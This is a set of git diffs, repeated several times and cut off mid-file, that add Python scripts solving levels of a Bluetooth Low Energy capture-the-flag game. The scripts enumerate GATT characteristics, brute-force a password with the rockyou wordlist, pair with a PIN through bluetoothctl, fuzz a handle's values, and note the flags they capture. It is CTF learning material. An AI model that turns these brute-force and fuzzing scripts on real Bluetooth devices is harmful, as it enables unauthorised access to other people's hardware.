+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
